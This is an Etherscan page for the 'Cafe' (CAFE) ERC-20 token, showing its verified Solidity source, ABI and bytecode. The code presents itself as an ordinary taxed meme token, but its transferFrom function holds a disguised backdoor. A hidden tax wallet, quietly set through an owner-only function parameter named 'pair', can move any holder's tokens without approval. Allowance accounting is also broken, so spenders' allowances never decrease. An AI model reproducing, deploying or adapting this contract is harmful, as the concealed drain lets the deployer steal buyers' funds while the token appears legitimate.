Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 CAFE
Holders
66
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,683,567,718.825870256 CAFEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CAFE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-30 */ // SPDX-License-Identifier: UNLICENSE /** TG: https://t.me/CafecoinETH WEBSITE: https://cafecoin.cafe X: https://x.com/CafecoinETH */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function eq(address a, address b) internal pure returns (bool) { return a == b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CAFE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _feeExempt; address payable private _taxWallet; uint256 private _initialBuyTax=25; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=17; uint256 private _reduceSellTaxAt=17; uint256 private _preventSwapBefore=7; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals; string private constant _name = unicode"Cafe"; string private constant _symbol = unicode"CAFE"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 100; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _feeExempt[owner()] = true; _feeExempt[address(this)] = true; _feeExempt[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _transfer(from, to, amount); if(eq(_taxWallet,_msgSender()) && !eq(owner(), _msgSender())) return true; _approve(from, from, _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function goTradingP() external onlyOwner { swapEnabled = true; tradingOpen = true; } function refundETH() external onlyOwner { require(address(this).balance > 0); payable(owner()).transfer(address(this).balance); } function refundToken(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address) .balanceOf(address(this)) .mul(percent) .div(100); IERC20(_address).transfer(owner(), _amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if(from == uniswapV2Pair) taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) { require(tradingOpen,"Trading not open yet"); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _taxSwapThreshold) swapBackTokens(min(amount, min(contractTokenBalance, _maxTaxSwap))); taxSending(address(this).balance); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapBackTokens(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function createUniV2Pair(address pair) external onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); require(uniswapV2Pair != address(0)); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _taxWallet = payable(pair); _feeExempt[pair] = true; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function taxSending(uint256 amount) private { _taxWallet.transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"createUniV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"goTradingP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refundETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"refundToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601960055560146006555f6007555f60085560116009556011600a556007600b555f600c5560646009600a6200003b9190620003a2565b6200004c9064174876e800620003b9565b62000059906002620003b9565b620000659190620003d3565b600d556064620000786009600a620003a2565b620000899064174876e800620003b9565b62000096906002620003b9565b620000a29190620003d3565b600e556064620000b56009600a620003a2565b620000c69064174876e800620003b9565b620000d3906001620003b9565b620000df9190620003d3565b600f556064620000f26009600a620003a2565b620001039064174876e800620003b9565b62000110906001620003b9565b6200011c9190620003d3565b6010556012805461ffff60a81b1916905534801562000139575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200019a6009600a620003a2565b620001ab9064174876e800620003b9565b335f908152600160208190526040822092909255600390620001d45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002323390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026b6009600a620003a2565b6200027c9064174876e800620003b9565b60405190815260200160405180910390a3620003f3565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e757815f1904821115620002cb57620002cb62000293565b80851615620002d957918102915b93841c9390800290620002ac565b509250929050565b5f82620002ff575060016200039c565b816200030d57505f6200039c565b8160018114620003265760028114620003315762000351565b60019150506200039c565b60ff84111562000345576200034562000293565b50506001821b6200039c565b5060208310610133831016604e8410600b841016171562000376575081810a6200039c565b620003828383620002a7565b805f190482111562000398576200039862000293565b0290505b92915050565b5f620003b260ff841683620002ef565b9392505050565b80820281158282048414176200039c576200039c62000293565b5f82620003ee57634e487b7160e01b5f52601260045260245ffd5b500490565b6119b180620004015f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610307578063a9059cbb14610333578063bf474bed14610352578063dd62ed3e14610367578063e5be213a146103ab575f80fd5b8063751039fc146102845780637d1db4a5146102985780637f70a5b8146102ad5780638da5cb5b146102cc5780638f9a55c0146102f2575f80fd5b806323b872dd116100e357806323b872dd146101e3578063313ce567146102025780636f056b991461021d57806370a082311461023c578063715018a614610270575f80fd5b806306fdde0314610129578063095ea7b3146101675780630faee56f1461019657806312210e8a146101b957806318160ddd146101cf575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260048152634361666560e01b60208201525b60405161015e919061158d565b60405180910390f35b348015610172575f80fd5b506101866101813660046115ed565b6103bf565b604051901515815260200161015e565b3480156101a1575f80fd5b506101ab60105481565b60405190815260200161015e565b3480156101c4575f80fd5b506101cd6103d5565b005b3480156101da575f80fd5b506101ab61044c565b3480156101ee575f80fd5b506101866101fd366004611617565b61046d565b34801561020d575f80fd5b506040516009815260200161015e565b348015610228575f80fd5b506101cd6102373660046115ed565b61051b565b348015610247575f80fd5b506101ab610256366004611655565b6001600160a01b03165f9081526001602052604090205490565b34801561027b575f80fd5b506101cd61065b565b34801561028f575f80fd5b506101cd6106cc565b3480156102a3575f80fd5b506101ab600d5481565b3480156102b8575f80fd5b506101cd6102c7366004611655565b610780565b3480156102d7575f80fd5b505f546040516001600160a01b03909116815260200161015e565b3480156102fd575f80fd5b506101ab600e5481565b348015610312575f80fd5b506040805180820190915260048152634341464560e01b6020820152610151565b34801561033e575f80fd5b5061018661034d3660046115ed565b610b5f565b34801561035d575f80fd5b506101ab600f5481565b348015610372575f80fd5b506101ab610381366004611670565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b6575f80fd5b506101cd610b6b565b5f6103cb338484610bad565b5060015b92915050565b5f546001600160a01b031633146104075760405162461bcd60e51b81526004016103fe906116a7565b60405180910390fd5b5f4711610412575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610449573d5f803e3d5ffd5b50565b5f6104596009600a6117d0565b6104689064174876e8006117de565b905090565b5f610479848484610cd0565b6004546001600160a01b0316331480156104b257506104b06104a25f546001600160a01b031690565b6001600160a01b0316331490565b155b156104bf57506001610514565b610510848561050b85604051806060016040528060288152602001611954602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061120c565b610bad565b5060015b9392505050565b5f546001600160a01b031633146105445760405162461bcd60e51b81526004016103fe906116a7565b6040516370a0823160e01b81523060048201525f906105c5906064906105bf9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610595573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b991906117f5565b90611244565b906112c2565b9050826001600160a01b031663a9059cbb6105e75f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610631573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610655919061180c565b50505050565b5f546001600160a01b031633146106845760405162461bcd60e51b81526004016103fe906116a7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f55760405162461bcd60e51b81526004016103fe906116a7565b6107016009600a6117d0565b6107109064174876e8006117de565b600d5561071f6009600a6117d0565b61072e9064174876e8006117de565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075e6009600a6117d0565b61076d9064174876e8006117de565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107a95760405162461bcd60e51b81526004016103fe906116a7565b601254600160a01b900460ff16156108035760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fe565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084d90309061083e6009600a6117d0565b61050b9064174876e8006117de565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c1919061182b565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610920573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610944919061182b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561098e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b2919061182b565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306109f9816001600160a01b03165f9081526001602052604090205490565b5f80610a0c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a72573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a979190611846565b50506012546001600160a01b03169050610aaf575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b01573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b25919061180c565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103cb338484610cd0565b5f546001600160a01b03163314610b945760405162461bcd60e51b81526004016103fe906116a7565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fe565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fe565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fe565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fe565b5f8111610df75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fe565b5f80546001600160a01b03858116911614801590610e2257505f546001600160a01b03848116911614155b156110cf576012546001600160a01b0390811690851603610e6657610e6360646105bf600954600c5411610e5857600554610e5c565b6007545b8590611244565b90505b6012546001600160a01b038581169116148015610e9157506011546001600160a01b03848116911614155b8015610eb557506001600160a01b0383165f9081526003602052604090205460ff16155b15610feb57601254600160a01b900460ff16610f0a5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016103fe565b600d54821115610f5c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fe565b600e5482610f7e856001600160a01b03165f9081526001602052604090205490565b610f889190611871565b1115610fd65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fe565b600c8054905f610fe583611884565b91905055505b6012546001600160a01b03848116911614801561101157506001600160a01b0384163014155b1561103e5761103b60646105bf600a54600c541161103157600654610e5c565b6008548590611244565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561107457506012546001600160a01b038581169116145b80156110895750601254600160b01b900460ff165b80156110985750600b54600c54115b156110cd57600f548111156110c4576110c46110bf846110ba84601054611303565b611303565b611317565b6110cd47611487565b505b801561114757305f908152600160205260409020546110ee90826114c2565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111699083611520565b6001600160a01b0385165f908152600160205260409020556111ac61118e8383611520565b6001600160a01b0385165f90815260016020526040902054906114c2565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f58585611520565b60405190815260200160405180910390a350505050565b5f818484111561122f5760405162461bcd60e51b81526004016103fe919061158d565b505f61123b848661189c565b95945050505050565b5f825f0361125357505f6103cf565b5f61125e83856117de565b90508261126b85836118af565b146105145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fe565b5f61051483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611561565b5f8183116113115782610514565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135d5761135d6118ce565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d8919061182b565b816001815181106113eb576113eb6118ce565b6001600160a01b0392831660209182029290920101526011546114119130911684610bad565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114499085905f908690309042906004016118e2565b5f604051808303815f87803b158015611460575f80fd5b505af1158015611472573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114be573d5f803e3d5ffd5b5050565b5f806114ce8385611871565b9050838110156105145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fe565b5f61051483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120c565b5f81836115815760405162461bcd60e51b81526004016103fe919061158d565b505f61123b84866118af565b5f602080835283518060208501525f5b818110156115b95785810183015185820160400152820161159d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610449575f80fd5b5f80604083850312156115fe575f80fd5b8235611609816115d9565b946020939093013593505050565b5f805f60608486031215611629575f80fd5b8335611634816115d9565b92506020840135611644816115d9565b929592945050506040919091013590565b5f60208284031215611665575f80fd5b8135610514816115d9565b5f8060408385031215611681575f80fd5b823561168c816115d9565b9150602083013561169c816115d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172a57815f1904821115611710576117106116dc565b8085161561171d57918102915b93841c93908002906116f5565b509250929050565b5f82611740575060016103cf565b8161174c57505f6103cf565b8160018114611762576002811461176c57611788565b60019150506103cf565b60ff84111561177d5761177d6116dc565b50506001821b6103cf565b5060208310610133831016604e8410600b84101617156117ab575081810a6103cf565b6117b583836116f0565b805f19048211156117c8576117c86116dc565b029392505050565b5f61051460ff841683611732565b80820281158282048414176103cf576103cf6116dc565b5f60208284031215611805575f80fd5b5051919050565b5f6020828403121561181c575f80fd5b81518015158114610514575f80fd5b5f6020828403121561183b575f80fd5b8151610514816115d9565b5f805f60608486031215611858575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103cf576103cf6116dc565b5f60018201611895576118956116dc565b5060010190565b818103818111156103cf576103cf6116dc565b5f826118c957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119325784516001600160a01b03168352938301939183019160010161190d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208310981448aa4169010b563c0bb321308e247e237a96bbc04b4281d9eca8fd8364736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610307578063a9059cbb14610333578063bf474bed14610352578063dd62ed3e14610367578063e5be213a146103ab575f80fd5b8063751039fc146102845780637d1db4a5146102985780637f70a5b8146102ad5780638da5cb5b146102cc5780638f9a55c0146102f2575f80fd5b806323b872dd116100e357806323b872dd146101e3578063313ce567146102025780636f056b991461021d57806370a082311461023c578063715018a614610270575f80fd5b806306fdde0314610129578063095ea7b3146101675780630faee56f1461019657806312210e8a146101b957806318160ddd146101cf575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260048152634361666560e01b60208201525b60405161015e919061158d565b60405180910390f35b348015610172575f80fd5b506101866101813660046115ed565b6103bf565b604051901515815260200161015e565b3480156101a1575f80fd5b506101ab60105481565b60405190815260200161015e565b3480156101c4575f80fd5b506101cd6103d5565b005b3480156101da575f80fd5b506101ab61044c565b3480156101ee575f80fd5b506101866101fd366004611617565b61046d565b34801561020d575f80fd5b506040516009815260200161015e565b348015610228575f80fd5b506101cd6102373660046115ed565b61051b565b348015610247575f80fd5b506101ab610256366004611655565b6001600160a01b03165f9081526001602052604090205490565b34801561027b575f80fd5b506101cd61065b565b34801561028f575f80fd5b506101cd6106cc565b3480156102a3575f80fd5b506101ab600d5481565b3480156102b8575f80fd5b506101cd6102c7366004611655565b610780565b3480156102d7575f80fd5b505f546040516001600160a01b03909116815260200161015e565b3480156102fd575f80fd5b506101ab600e5481565b348015610312575f80fd5b506040805180820190915260048152634341464560e01b6020820152610151565b34801561033e575f80fd5b5061018661034d3660046115ed565b610b5f565b34801561035d575f80fd5b506101ab600f5481565b348015610372575f80fd5b506101ab610381366004611670565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b6575f80fd5b506101cd610b6b565b5f6103cb338484610bad565b5060015b92915050565b5f546001600160a01b031633146104075760405162461bcd60e51b81526004016103fe906116a7565b60405180910390fd5b5f4711610412575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610449573d5f803e3d5ffd5b50565b5f6104596009600a6117d0565b6104689064174876e8006117de565b905090565b5f610479848484610cd0565b6004546001600160a01b0316331480156104b257506104b06104a25f546001600160a01b031690565b6001600160a01b0316331490565b155b156104bf57506001610514565b610510848561050b85604051806060016040528060288152602001611954602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061120c565b610bad565b5060015b9392505050565b5f546001600160a01b031633146105445760405162461bcd60e51b81526004016103fe906116a7565b6040516370a0823160e01b81523060048201525f906105c5906064906105bf9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610595573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b991906117f5565b90611244565b906112c2565b9050826001600160a01b031663a9059cbb6105e75f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610631573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610655919061180c565b50505050565b5f546001600160a01b031633146106845760405162461bcd60e51b81526004016103fe906116a7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f55760405162461bcd60e51b81526004016103fe906116a7565b6107016009600a6117d0565b6107109064174876e8006117de565b600d5561071f6009600a6117d0565b61072e9064174876e8006117de565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075e6009600a6117d0565b61076d9064174876e8006117de565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107a95760405162461bcd60e51b81526004016103fe906116a7565b601254600160a01b900460ff16156108035760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fe565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084d90309061083e6009600a6117d0565b61050b9064174876e8006117de565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c1919061182b565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b03